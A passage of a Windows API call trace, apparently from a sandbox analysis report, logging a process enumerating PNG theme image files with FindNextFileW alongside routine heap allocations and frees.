ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_dot.png", cAlternateFileName="")) returned 1 [0089.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2828 [0089.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1319f18 [0089.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f3781c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_h.png", cAlternateFileName="")) returned 1 [0089.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2848 [0089.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a020 [0089.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.923] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_m.png", cAlternateFileName="")) returned 1 [0089.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2868 [0089.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a128 [0089.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.925] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_s.png", cAlternateFileName="")) returned 1 [0089.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2888 [0089.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a230 [0089.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.926] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d51f27, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d51f27, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x827b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_settings.png", cAlternateFileName="")) returned 1 [0089.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c28a8 [0089.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a338 [0089.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.928] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern.png", cAlternateFileName="")) returned 1 [0089.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c28c8 [0089.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a440 [0089.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8dc4344, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8dc4344, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_dot.png", cAlternateFileName="")) returned 1 [0089.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c28e8 [0089.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a548 [0089.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.931] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_h.png", cAlternateFileName="")) returned 1 [0089.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2908 [0089.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a650 [0089.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.933] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_m.png", cAlternateFileName="")) returned 1 [0089.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2928 [0089.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a758 [0089.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.935] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbde, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_s.png", cAlternateFileName="")) returned 1 [0089.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2948 [0089.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a860 [0089.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.936] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8dea4a3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8dea4a3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x51d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_settings.png", cAlternateFileName="")) returned 1 [0089.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2968 [0089.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131a968 [0089.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.938] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e10602, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e10602, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty.png", cAlternateFileName="")) returned 1 [0089.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2988 [0089.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131aa70 [0089.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.940] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e5c8c0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e5c8c0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_dot.png", cAlternateFileName="")) returned 1 [0089.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c29a8 [0089.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ab78 [0089.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.942] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e36761, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e36761, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_h.png", cAlternateFileName="")) returned 1 [0089.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c29c8 [0089.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ac80 [0089.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9000) returned 0x12f2380 [0089.944] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e36761, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e36761, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_m.png", cAlternateFileName="")) returned 1 [0089.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c29e8 [0089.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ad88 [0089.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.945] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e5c8c0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e5c8c0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_s.png", cAlternateFileName="")) returned 1 [0089.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2a08 [0089.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ae90 [0089.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.947] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e82a1f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e82a1f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x702e, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_settings.png", cAlternateFileName="")) returned 1 [0089.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2a28 [0089.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131af98 [0089.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0089.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2a48 [0089.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131b0a0 [0089.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0089.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9025934, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9025934, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9025934, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9025934, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, 